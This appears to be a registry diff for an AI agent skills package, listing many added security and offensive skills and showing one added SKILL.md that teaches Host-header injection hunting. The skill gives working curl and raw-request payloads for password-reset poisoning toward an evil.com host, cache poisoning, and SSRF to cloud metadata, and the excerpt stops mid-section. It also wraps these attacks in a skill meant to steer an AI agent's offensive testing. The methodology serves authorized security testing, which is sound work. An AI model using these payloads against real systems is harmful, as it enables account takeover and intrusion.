opencode-skills-collection 4.0.68 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +266 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6943 -323
|
@@ -0,0 +1,309 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-host-header
|
|
3
|
+
description: Hunt Host Header Injection
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: portswigger_research, hackerone_public
|
|
16
|
+
report_count: 16
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-HOST-HEADER — Host Header Injection
|
|
33
|
+
|
|
34
|
+
## Grounding / Provenance
|
|
35
|
+
|
|
36
|
+
This skill is built from the public Host-header attack literature, not invented payloads.
|
|
37
|
+
Cite the *technique source* in your report, never a fabricated ID:
|
|
38
|
+
|
|
39
|
+
- **Password-reset poisoning class** — the canonical write-up is Skelet's/Detectify-era
|
|
40
|
+
"Practical HTTP Host header attacks" (the Django `request.get_host()` → password-reset-link
|
|
41
|
+
case). Many frameworks built the reset URL from the request Host with no `ALLOWED_HOSTS`-style
|
|
42
|
+
allowlist. Cite the framework + the reflected-Host behaviour you actually observed.
|
|
43
|
+
- **Web cache poisoning via unkeyed Host / X-Forwarded-Host** — PortSwigger Research,
|
|
44
|
+
James Kettle, "Practical Web Cache Poisoning" (2018) and "Web Cache Entanglement" (2020).
|
|
45
|
+
These define unkeyed-input poisoning, which is the mechanism behind X-Forwarded-Host poisoning.
|
|
46
|
+
- **Routing-based SSRF** — PortSwigger Research, "Cracking the lens" / routing-based SSRF
|
|
47
|
+
(Host header steers the front-end's upstream selection).
|
|
48
|
+
|
|
49
|
+
When you write the report, name the exact behaviour you reproduced (reflected header, cache HIT
|
|
50
|
+
on a fresh key, OOB hit from your Collaborator). Do **not** copy a CVE or H1 ID you have not
|
|
51
|
+
verified — a missing citation is always better than a wrong one.
|
|
52
|
+
|
|
53
|
+
---
|
|
54
|
+
|
|
55
|
+
## Crown Jewel Targets
|
|
56
|
+
|
|
57
|
+
Host header injection that reaches password reset links = Critical (ATO for any user).
|
|
58
|
+
|
|
59
|
+
**Highest-value chains:**
|
|
60
|
+
- **Password reset poisoning → ATO** — server builds the reset link from the request Host;
|
|
61
|
+
attacker sets `Host: evil.com`; the victim's reset email points the token at the attacker →
|
|
62
|
+
token captured on click → full ATO. Pre-account-takeover variant: even the victim *requesting*
|
|
63
|
+
their own reset leaks the token to evil.com.
|
|
64
|
+
- **Web cache poisoning via unkeyed Host** — a CDN/reverse proxy caches a response that reflects
|
|
65
|
+
an attacker `X-Forwarded-Host` into an absolute URL (script src, link, redirect) → poisoned
|
|
66
|
+
entry served to every later visitor on that cache key → mass XSS/redirect/CSP bypass.
|
|
67
|
+
- **Routing-based SSRF** — the front-end uses the *Host header itself* to pick the upstream;
|
|
68
|
+
`Host: 169.254.169.254` (or an internal hostname) makes it forward your request to that target
|
|
69
|
+
→ cloud metadata / internal admin panels.
|
|
70
|
+
- **Path-override SSRF / ACL bypass** — IIS/ASP.NET/Spring honour `X-Original-URL` /
|
|
71
|
+
`X-Rewrite-URL` to override the routed path → reach `/admin` or internal endpoints the edge
|
|
72
|
+
ACL thought it blocked. (Different layer from routing SSRF — see Phase 3.)
|
|
73
|
+
- **OAuth/OIDC poisoning** — Host drives `redirect_uri` or the OIDC `issuer` / discovery doc →
|
|
74
|
+
auth-code or token theft → ATO.
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## Attack Surface Signals
|
|
79
|
+
|
|
80
|
+
```
|
|
81
|
+
Any password reset / forgot-password / email-verification / invite endpoint
|
|
82
|
+
Any app behind CDN/reverse proxy (Cloudflare, Varnish, Fastly, Akamai, Nginx, HAProxy)
|
|
83
|
+
OAuth/OIDC authorization + /.well-known/openid-configuration endpoints
|
|
84
|
+
Absolute URLs constructed from request Host (set-password links, share links, webhooks)
|
|
85
|
+
Email-sending endpoints (transactional mail, notifications)
|
|
86
|
+
Reverse proxies that may route by Host (k8s ingress, service mesh, internal forward proxies)
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
**Dangerous header candidates (unkeyed / trusted inputs):**
|
|
90
|
+
```
|
|
91
|
+
Host X-Forwarded-Host X-Host
|
|
92
|
+
X-Forwarded-Server X-HTTP-Host-Override Forwarded
|
|
93
|
+
X-Original-URL X-Rewrite-URL X-Override-URL (path-override class)
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
---
|
|
97
|
+
|
|
98
|
+
## Step-by-Step Hunting Methodology
|
|
99
|
+
|
|
100
|
+
> Always test against **your own** registered test account. Never request another user's reset.
|
|
101
|
+
|
|
102
|
+
### Phase 1 — Password Reset Poisoning
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
# 1a. Override Host directly
|
|
106
|
+
curl -s -X POST https://$TARGET/forgot-password \
|
|
107
|
+
-H "Host: evil.com" \
|
|
108
|
+
-H "Content-Type: application/json" \
|
|
109
|
+
-d '{"email":"your-test-account@target.com"}'
|
|
110
|
+
|
|
111
|
+
# 1b. X-Forwarded-Host (behind reverse proxy that trusts it)
|
|
112
|
+
curl -s -X POST https://$TARGET/forgot-password \
|
|
113
|
+
-H "Host: $TARGET" \
|
|
114
|
+
-H "X-Forwarded-Host: evil.com" \
|
|
115
|
+
-d "email=your-test-account@target.com"
|
|
116
|
+
|
|
117
|
+
# 1c. Host + X-Forwarded-Host combo, and X-Host
|
|
118
|
+
curl -s -X POST https://$TARGET/forgot-password \
|
|
119
|
+
-H "Host: $TARGET" -H "X-Host: evil.com" \
|
|
120
|
+
-d "email=your-test-account@target.com"
|
|
121
|
+
|
|
122
|
+
# 1d. Dual-Host / Host override smuggling: some stacks read the SECOND Host
|
|
123
|
+
printf 'POST /forgot-password HTTP/1.1\r\nHost: %s\r\nHost: evil.com\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 33\r\nConnection: close\r\n\r\nemail=your-test-account@target.com' "$TARGET" \
|
|
124
|
+
| openssl s_client -quiet -connect $TARGET:443 2>/dev/null
|
|
125
|
+
|
|
126
|
+
# 1e. Absolute-URL injection: keep real Host, append attacker host so the
|
|
127
|
+
# reset link becomes https://TARGET.evil.com/... or routes the token out
|
|
128
|
+
curl -s -X POST https://$TARGET/forgot-password \
|
|
129
|
+
-H "Host: $TARGET.evil.com" -d "email=your-test-account@target.com"
|
|
130
|
+
|
|
131
|
+
# 1f. Trailing-port / userinfo confusion (parsers that split on : or @)
|
|
132
|
+
curl -s -X POST https://$TARGET/forgot-password \
|
|
133
|
+
-H "Host: $TARGET:1@evil.com" -d "email=your-test-account@target.com"
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
**Confirm:** open the reset email *in your own test inbox* and read the link host. The token must
|
|
137
|
+
appear under an attacker-controlled host (`evil.com`, `$TARGET.evil.com`, or a Collaborator
|
|
138
|
+
domain) for this to be a real finding. **Use a Burp Collaborator domain as the injected host** so
|
|
139
|
+
that when the victim clicks (or a preview-fetcher fetches), you capture the token out-of-band and
|
|
140
|
+
have proof — see Validation.
|
|
141
|
+
|
|
142
|
+
### Phase 2 — Web Cache Poisoning via Host / X-Forwarded-Host
|
|
143
|
+
|
|
144
|
+
Mechanism: this is a **reflection** bug, not an OOB bug. The injected host must be *reflected into
|
|
145
|
+
the response body* (an absolute URL, script `src`, `<link href>`, `<base href>`, redirect
|
|
146
|
+
`Location`, or canonical/og:url) **and** that response must be **cached on a key you do not
|
|
147
|
+
control**. No Collaborator callback is expected from the cache test itself — only later, if a
|
|
148
|
+
victim's browser loads the poisoned absolute URL.
|
|
149
|
+
|
|
150
|
+
```bash
|
|
151
|
+
# 2a. Is the host reflected into the body?
|
|
152
|
+
curl -s https://$TARGET/ \
|
|
153
|
+
-H "Host: $TARGET" -H "X-Forwarded-Host: canary-$RANDOM.example" \
|
|
154
|
+
| grep -i "canary"
|
|
155
|
+
|
|
156
|
+
# 2b. Is the response cacheable, and what is the cache key?
|
|
157
|
+
curl -sI "https://$TARGET/?cb=$RANDOM" \
|
|
158
|
+
| grep -iE "cache-control|cf-cache-status|x-cache|age|via|surrogate|vary"
|
|
159
|
+
# Look for: X-Cache/CF-Cache-Status: HIT, nonzero Age, Via: varnish/fastly/cloudfront.
|
|
160
|
+
# Check Vary: — if Vary does NOT include X-Forwarded-Host, the header is UNKEYED → poisonable.
|
|
161
|
+
|
|
162
|
+
# 2c. Prove poisoning: poison once, then fetch CLEAN (no injected header) on same key.
|
|
163
|
+
URL="https://$TARGET/?cb=poison$RANDOM"
|
|
164
|
+
curl -s "$URL" -H "X-Forwarded-Host: evilcdn.example" >/dev/null # poison
|
|
165
|
+
curl -s "$URL" | grep -i "evilcdn.example" # clean victim view → reflected = POISONED
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
**False-positive killers (mandatory):**
|
|
169
|
+
- A reflection that only ever appears for *your* request (because the header is **keyed**, e.g. in
|
|
170
|
+
`Vary`, or the CDN includes Host in the key) is **not** poisoning — confirm 2c returns the
|
|
171
|
+
payload on a request that *omits* the header.
|
|
172
|
+
- `Age: 0` + `MISS` every time → no shared cache → no mass impact. Demote to self-only / Low.
|
|
173
|
+
- Confirm blast radius from a **second machine / fresh egress IP / incognito** before claiming
|
|
174
|
+
"mass". Cache scope is often per-edge / per-cookie / per-geo.
|
|
175
|
+
|
|
176
|
+
### Phase 3 — SSRF via Host Header — TWO DISTINCT MECHANISMS (do not conflate)
|
|
177
|
+
|
|
178
|
+
These operate at different layers. Test them separately; they do **not** compose into one request.
|
|
179
|
+
|
|
180
|
+
**(3A) Routing-based SSRF — the Host header selects the upstream.** The path goes on the
|
|
181
|
+
**request line**, exactly as a normal request, because the metadata service / internal host serves
|
|
182
|
+
plain HTTP and only sees the request line + headers you forward. `X-Original-URL` is irrelevant
|
|
183
|
+
here — the EC2 IMDS ignores it.
|
|
184
|
+
|
|
185
|
+
```bash
|
|
186
|
+
# Correct routing-SSRF probe: path on the request line, Host steers the proxy upstream.
|
|
187
|
+
curl -s "https://$TARGET/latest/meta-data/" -H "Host: 169.254.169.254"
|
|
188
|
+
